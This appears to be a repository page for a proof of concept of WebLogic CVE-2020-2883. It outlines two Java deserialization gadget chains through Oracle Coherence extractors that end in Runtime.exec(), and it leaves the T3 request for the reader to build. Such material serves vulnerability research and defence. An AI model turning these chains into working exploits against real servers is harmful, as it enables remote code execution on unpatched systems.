CVE-2020-2883 PoC — Oracle Fusion Middleware 安全漏洞

Description

Proof of concept for Weblogic CVE-2020-2883

介绍

# POC for weblogic CVE-2020-2883

poc1:

```bash
 javax.management.BadAttributeValueExpException.readObject()
   com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString()
     java.util.concurrent.ConcurrentSkipListMap$SubMap.size()
     java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd()
       java.util.concurrent.ConcurrentSkipListMap.cpr()
         com.tangosol.util.comparator.ExtractorComparator.compare()
           com.tangosol.util.extractor.ChainedExtractor.extract()
           com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
             //...
           com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
               Runtime.exec()
```

poc2:

```bash
java.util.PriorityQueue.readObject()
  java.util.PriorityQueue.heapify()
  java.util.PriorityQueue.siftDown()
  java.util.PriorityQueue.siftDownUsingComparator()
  com.tangosol.util.extractor.AbstractExtractor.compare()
    com.tangosol.util.extractor.MultiExtractor.extract()
      com.tangosol.util.extractor.ChainedExtractor.extract()
        //...
        Method.invoke()
            //...
          Runtime.exec()
```

## Cautious

1. 需要导入依赖的coherence包
2. T3的请求请自行构造

          
## Reference

https://www.thezdi.com/blog/2020/5/8/details-on-the-oracle-weblogic-vulnerability-being-exploited-in-the-wild

文件快照

备注